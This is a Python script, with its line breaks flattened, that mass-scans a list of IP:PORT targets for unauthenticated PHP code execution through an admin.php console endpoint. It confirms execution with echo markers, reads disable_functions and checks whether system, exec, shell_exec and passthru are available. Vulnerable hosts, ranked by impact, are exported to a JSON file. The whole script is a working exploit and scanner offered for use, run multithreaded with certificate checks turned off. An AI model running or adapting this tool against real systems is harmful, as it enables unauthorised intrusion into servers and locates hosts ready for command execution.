import requests import sys import random import string import json import re from concurrent.futures import ThreadPoolExecutor requests.packages.urllib3.disable_warnings() SYSTEM_FUNCTIONS = ["system", "exec", "shell_exec", "passthru"] vulnerable_results = [] # Regex simple IP:PORT TARGET_REGEX = re.compile(r"^(\d{1,3}\.){3}\d{1,3}:\d{1,5}$") def random_marker(length=8): return ''.join(random.choices(string.ascii_letters, k=length)) def send_payload(url, payload): try: r = requests.get( url, params={ "ajax_panel": "1", "op": "console", "command": payload, }, timeout=5, verify=False, allow_redirects=True ) return r except requests.exceptions.RequestException: return None def analyze_target(target): global vulnerable_results for scheme in ["http", "https"]: url = f"{scheme}://{target}/admin.php" marker = random_marker() # ---- Phase 1 : Test RCE PHP ---- payload = f"echo '{marker}';" r = send_payload(url, payload) if not r or r.status_code != 200 or marker not in r.text: continue print(f"[+] RCE PHP CONFIRMED -> {url}") # ---- Phase 2 : disable_functions ---- df_marker = random_marker() df_payload = f"echo '{df_marker}:' . ini_get('disable_functions');" r_df = send_payload(url, df_payload) disable_functions = "" if r_df and df_marker in r_df.text: disable_functions = r_df.text.split(df_marker + ":")[-1].strip() # ---- Phase 3 : function_exists ---- available_funcs = [] for func in SYSTEM_FUNCTIONS: func_marker = random_marker() func_payload = f"echo '{func_marker}:' . function_exists('{func}');" r_func = send_payload(url, func_payload) if r_func and f"{func_marker}:1" in r_func.text: available_funcs.append(func) impact = "HIGH" if available_funcs else "MEDIUM" vulnerable_results.append({ "target": target, "url": url, "rce_php": True, "disable_functions": disable_functions if disable_functions else None, "system_functions_available": available_funcs, "impact_level": impact }) return print(f"[-] Not vulnerable -> {target}") def load_targets(filename): targets = [] with open(filename, "r") as f: for line in f: line = line.strip() if not line or line.startswith("#"): continue if TARGET_REGEX.match(line): targets.append(line) else: print(f"[!] Invalid format skipped: {line}") return targets def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} targets.txt") sys.exit(1) targets = load_targets(sys.argv[1]) if not targets: print("No valid targets found.") sys.exit(1) with ThreadPoolExecutor(max_workers=10) as executor: executor.map(analyze_target, targets) # ---- Export JSON ---- if vulnerable_results: with open("results.json", "w") as outfile: json.dump(vulnerable_results, outfile, indent=4) print("\n[+] Vulnerable targets exported to results.json") else: print("\n[+] No vulnerable targets found") if __name__ == "__main__": main()